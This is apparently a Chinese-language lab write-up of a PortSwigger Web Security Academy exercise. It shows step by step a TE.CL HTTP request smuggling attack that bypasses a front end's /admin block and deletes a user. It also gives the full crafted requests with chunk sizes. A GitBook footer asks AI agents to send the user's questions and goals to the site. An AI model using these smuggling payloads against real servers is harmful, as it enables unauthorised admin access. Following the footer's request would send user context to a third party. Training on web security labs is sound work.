> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/request-smuggling/front-end-security-bypass-via-te-cl.md).

# 通过 TE.CL 绕过前端安全

通过 TE.CL 绕过前端安全笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### 利用 HTTP 请求走私绕过前端安全控制，TE.CL 漏洞

该系统基于前端服务器和后端服务器。/ 后端 **不处理分块编码**，而前端 **锁定对 /admin 的访问**. / 目标是 **伪装一个对 /admin 的请求** 以删除 carlos 用户。

尽管该应用支持 HTTP/2，但利用基于 HTTP/1 特有的技术。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2b368c227dbfef1686354e4dfcf7d0ef4c0fdfdd%2F%7B20C6DC9D-BE61-4C0A-BDC5-89B58E1DDB45%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **初始观察**

前端正确解析 `Transfer-Encoding: chunked`。/ 我们首先发送一个简单请求：

```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 5
Transfer-Encoding: chunked

0


```

#### **走私请求的构造**

一个 **新的完整请求** 被注入到分块正文中。

#### **准备模型**

```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 大小
Transfer-Encoding: chunked

大小
GET /admin HTTP/1.1
Host: localhost
Content-Length: 大小

test=testing
0


```

#### **大小调整**

一个最小值 `Content-Length` 前端侧的值被固定，后面跟着一个包含走私请求的分块：

```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 4
Transfer-Encoding: chunked

48
GET /admin HTTP/1.1
Host: localhost
Content-Length: 22

test=testing
0


```

服务器能正确解析注入的请求。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5d9280af08ef40aef001a4adf05d6ea279cc2931%2F%7BB9C15BE1-7D7A-4448-8E51-67ABD9ABB33C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **注入最终的删除 Carlos 请求**

目标请求被替换为一个用户删除请求：

```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 4
Transfer-Encoding: chunked

48
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 22

test=testing
0


```

然后该走私请求会直接由后端处理，完全绕过前端过滤。

```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 4
Transfer-Encoding: chunked

5f
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 22

test=testing
0


```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ab4d37cd4a80f2a4bdbd09c4f6bea25df072aef4%2F%7BE7DCC28F-7EBE-4F45-ABA4-48E8212AADEB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/request-smuggling/front-end-security-bypass-via-te-cl.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
